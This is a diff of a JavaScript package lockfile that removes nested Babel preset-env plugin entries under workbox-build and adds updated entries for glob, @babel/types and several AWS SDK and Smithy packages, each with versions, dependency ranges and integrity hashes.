- "workbox-build/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.23.3", "", { "dependencies": { "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.23.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.23.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-json-strings": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.23.9", "", { "dependencies": { "@babel/helper-hoist-variables": "^7.22.5", "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-identifier": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KDlPRM6sLo4o1FkiSlXoAa8edLXFsKKIda779fbLrvmeuc3itnjCtaO6RrtoaANsIJANj+Vk1zqbZIMhkCAHVw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.22.5", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-numeric-separator": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.23.4", "", { "dependencies": { "@babel/compat-data": "^7.23.3", "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-transform-parameters": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-syntax-optional-chaining": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-private-property-in-object": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.9.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0", "core-js-compat": "^3.34.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
-
- "workbox-build/@babel/preset-env/core-js-compat": ["core-js-compat@3.35.1", "", { "dependencies": { "browserslist": "^4.22.2" } }, "sha512-sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="],
+ "workbox-build/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -7723,6 +7523,16 @@
"workbox-build/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "workbox-build/glob/foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="],
+
+ "workbox-build/glob/jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="],
+
+ "workbox-build/glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
+
+ "workbox-build/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
+ "workbox-build/glob/path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
+
"workbox-build/source-map/whatwg-url": ["whatwg-url@7.1.0", "", { "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", "webidl-conversions": "^4.0.2" } }, "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg=="],
"wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.4.0", "", {}, "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="],
@@ -7735,7 +7545,11 @@
"@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -7749,28 +7563,26 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
